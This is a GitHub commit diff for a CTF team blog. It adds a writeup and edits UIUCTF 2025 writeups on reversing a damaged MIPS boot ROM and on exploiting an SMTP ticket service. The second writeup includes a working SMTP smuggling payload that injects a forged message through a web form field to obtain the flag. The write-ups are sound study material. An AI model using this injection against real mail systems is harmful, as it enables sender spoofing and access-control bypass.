Skip to content

Commit 44f6cc5

Browse files
authored
Merge pull request #55 from TheRomanXpl0it/fixes
Add cromozominus writeup
2 parents 5d594f3 + 169a5df commit 44f6cc5

File tree

9 files changed

+651
-43
lines changed

9 files changed

+651
-43
lines changed

content/posts/tfcctf25-cromozominus-rex/index.md

Lines changed: 608 additions & 0 deletions
Large diffs are not rendered by default.

content/posts/uiuctf25-damagedsoc/index.md

Lines changed: 30 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
---
2-
title: UIUCTF 2025 - Damaged SoC
2+
title: UIUCTF 25 - Damaged SoC
33
date: 2025-08-10
44
lastmod: 2025-08-10T23:50:30+02:00
55
categories:
@@ -68,7 +68,7 @@ but we don't need to go through all of them to understand what it does, in short
6868
But let's cut to the chase, what is all of this actually doing?
6969

7070
```bash
71-
$ ./SOC_run_sim
71+
$ ./SOC_run_sim
7272
Bootloading
7373
Starting verification:
7474
Incorrect key
@@ -92,7 +92,7 @@ The first few lines contain several `EF BF BD` (the UTF-8 replacement character,
9292

9393
Our goal is to recover the boot ROM from the corrupted image, decompile, understand the “key” check (as we will see, the flag itself), craft the correct string and **patch** the memory so the verification passes and the board “boots.”
9494

95-
## Decompiling
95+
## Decompiling
9696

9797
Like many modern reverse engineering challenges, this step won't be as easy as throwing the binary into IDA or Ghidra, it's a little trickier than that. Running `SOC_run_sim` through IDA awakens cosmic horrors that are best left undisturbed:
9898

@@ -173,12 +173,12 @@ Incorrect key
173173
**`vq{uv|qw`**
174174
```
175175
flag[15] = key[0]-16 = 'v'(118)-16 = 102 = 'f'
176-
flag[16] = key[1]-16 = 'q'(113)-16 = 97 = 'a'
177-
flag[17] = key[2]-16 = '{'(123)-16 = 107 = 'k'
178-
flag[18] = key[3]-16 = 'u'(117)-16 = 101 = 'e'
179-
flag[19] = key[4]-16 = 'v'(118)-16 = 102 = 'f'
180-
flag[20] = key[5]-16 = '|'(124)-16 = 108 = 'l'
181-
flag[21] = key[6]-16 = 'q'(113)-16 = 97 = 'a'
176+
flag[16] = key[1]-16 = 'q'(113)-16 = 97 = 'a'
177+
flag[17] = key[2]-16 = '{'(123)-16 = 107 = 'k'
178+
flag[18] = key[3]-16 = 'u'(117)-16 = 101 = 'e'
179+
flag[19] = key[4]-16 = 'v'(118)-16 = 102 = 'f'
180+
flag[20] = key[5]-16 = '|'(124)-16 = 108 = 'l'
181+
flag[21] = key[6]-16 = 'q'(113)-16 = 97 = 'a'
182182
flag[22] = key[7]-16 = 'w'(119)-16 = 103 = 'g'`
183183
```
184184

@@ -203,7 +203,7 @@ ROM:0000000000000210 beqz $v0, loc_224 ; if (v0 == 0) jump to verification
203203
ROM:0000000000000214 nop ; branch-delay slot
204204
ROM:0000000000000218 syscall 0x6D8 ; else: make a simulator syscall/trap
205205
ROM:000000000000021C jr $ra ; and return immediately
206-
ROM:0000000000000220 nop
206+
ROM:0000000000000220 nop
207207
```
208208
### 1. Prefix check: `uiuctf{` (bytes 0..6)
209209

@@ -458,7 +458,7 @@ sw $v0, 0x38($sp) ; y ^= c32
458458

459459
```asm
460460
; rol64(x,8) via shifts/ors then add 0x0123456789ABCDEF
461-
...
461+
...
462462
dli $v0, 0x123456789ABCDEF
463463
daddu $v0, $v1, $v0 ; x += 0x0123456789ABCDEF
464464
sd $v0, 0x30($sp)
@@ -527,48 +527,48 @@ def ror32(val, r):
527527
return ((val >> r) | (val << (32 - r))) & 0xFFFFFFFF
528528

529529
def find_key_bytes():
530-
530+
531531
target_E = 0xC956B3009784E40F
532532
target_F = 0x83C5A9D1
533-
534-
533+
534+
535535
E = target_E ^ 0xFEDCBA9876543210
536536
F = target_F ^ 0x13579BDF
537537
print(f"After final inverse XOR: E=0x{E:016x}, F=0x{F:08x}")
538-
539-
538+
539+
540540
F_before_mix = F ^ (E & 0xFFFFFFFF)
541541
E_before_mix = E ^ (F_before_mix << 32)
542542
print(f"After inverse Feistel: E=0x{E_before_mix:016x}, F=0x{F_before_mix:08x}")
543-
544-
543+
544+
545545
E_before_add = (E_before_mix - 0x0123456789ABCDEF) & 0xFFFFFFFFFFFFFFFF
546546
F_before_add = (F_before_mix - 0x87654321) & 0xFFFFFFFF
547547
print(f"After subtraction: E=0x{E_before_add:016x}, F=0x{F_before_add:08x}")
548-
549-
548+
549+
550550
E_before_rot = ror64(E_before_add, 8)
551551
F_before_rot = ror32(F_before_add, 4)
552552
print(f"After inverse rotation: E=0x{E_before_rot:016x}, F=0x{F_before_rot:08x}")
553-
554-
553+
554+
555555
E_original = E_before_rot ^ 0x1337C0DE12345678
556556
F_original = F_before_rot ^ 0x3EADBE3F
557557
print(f"Original values: E=0x{E_original:016x}, F=0x{F_original:08x}")
558-
559-
558+
559+
560560
E_bytes = E_original.to_bytes(8, 'little')
561561
F_bytes = F_original.to_bytes(4, 'little')
562-
563-
562+
563+
564564
char23 = E_bytes[7] #ultimo byte di E
565565
char24 = F_bytes[0] #primo byte di F
566566
print(f"\nVerify sum: 0x{char23:02x} + 0x{char24:02x} = 0x{char23 + char24:02x} (Has to be 0x53)")
567-
568-
567+
568+
569569
print(f"\nBytes 16-23: {E_bytes.hex()} = '{E_bytes.decode('ascii', errors='replace')}'")
570570
print(f"Bytes 24-27: {F_bytes.hex()} = '{F_bytes.decode('ascii', errors='replace')}'")
571-
571+
572572
return E_bytes + F_bytes
573573

574574
result = find_key_bytes()
@@ -777,4 +777,4 @@ writeback regnum = 2, data = 0000000000000000
777777
...
778778
```
779779

780-
Only to later realize that those were only `puts`-related logs, his contribution was nonetheless crucial to the final solution.
780+
Only to later realize that those were only `puts`-related logs, his contribution was nonetheless crucial to the final solution.

content/posts/uiuctf25-ruler-of-the-universe/index.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
---
2-
title: UIUCTF 2025 - Ruler of the Universe
2+
title: UIUCTF 25 - Ruler of the Universe
33
date: 2025-07-30
44
lastmod: 2025-07-30T13:00:30+02:00
55
categories:

content/posts/uiuctf25-shipping-bay/index.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
---
2-
title: UIUCTF 2025 - Shipping Bay
2+
title: UIUCTF 25 - Shipping Bay
33
date: 2025-07-30
44
lastmod: 2025-07-30T13:00:30+02:00
55
categories:

content/posts/uiuctf25-supermassive-black-hole/index.md

Lines changed: 11 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
---
2-
title: UIUCTF 2025 - Supermassive Black Hole
2+
title: UIUCTF 25 - Supermassive Black Hole
33
date: 2025-07-30
44
lastmod: 2025-07-30T13:00:30+02:00
55
categories:
@@ -32,17 +32,17 @@ There's an SMTP server running internally on port 1025, unfortunately, the port
3232
```python
3333
async def start_server():
3434
init_database()
35-
35+
3636
it_handler = ITBotHandler()
3737
controller = Controller(it_handler, hostname='localhost', port=1025)
38-
38+
3939
controller.start()
40-
40+
4141
return controller
4242

4343
async def main():
4444
controller = await start_server()
45-
45+
4646
try:
4747
while True:
4848
await asyncio.sleep(5)
@@ -96,7 +96,7 @@ from_header = message.get('From', 'Unknown')
9696
subject = message.get('Subject', 'No Subject')
9797
body = str(message.get_payload())
9898
ticket_id = message.get('X-Ticket-ID', f'{int(time.time())}_{self.processed_count}')
99-
99+
100100
if internal.leadership_email in from_header.lower():
101101
response = "C-Suite ticket received! Will escalate immediately!" + f"\n{internal.flag}"
102102
elif internal.support_email in from_header.lower():
@@ -160,18 +160,18 @@ import requests, time, textwrap
160160
BASE = "https://inst-4e64969ec136b504-supermassive-black-hole.chal.uiuc.tf/"
161161

162162
payload = (
163-
"\n.\r\n"
163+
"\n.\r\n"
164164
"MAIL FROM:<[email protected]>\r\n"
165165
"RCPT TO:<[email protected]>\r\n"
166166
"DATA\r\n"
167167
"From: [email protected]\r\n"
168168
169169
"Subject: escalate\r\n"
170-
"X-Ticket-ID: 1444\r\n"
170+
"X-Ticket-ID: 1444\r\n"
171171
"\r\n"
172172
"pls fix asap\r\n"
173-
".\n"
174-
)
173+
".\n"
174+
)
175175

176176
#injection ticket
177177
requests.post(f"{BASE}/submit_ticket",
@@ -185,4 +185,4 @@ resp = requests.get(f"{BASE}/check_response/1444").json()
185185
print(resp["response"])
186186
```
187187

188-
**`uiuctf{7h15_c0uld_h4v3_b33n_4_5l4ck_m355463_8091732490}`**
188+
**`uiuctf{7h15_c0uld_h4v3_b33n_4_5l4ck_m355463_8091732490}`**

static/tfcctf25/cromo/card.png

29.4 KB
Loading

static/tfcctf25/cromo/discord.png

67.7 KB
Loading

static/tfcctf25/cromo/gdb1.png

130 KB
Loading

static/tfcctf25/cromo/gdb2.png

164 KB
Loading

0 commit comments

Comments
 (0)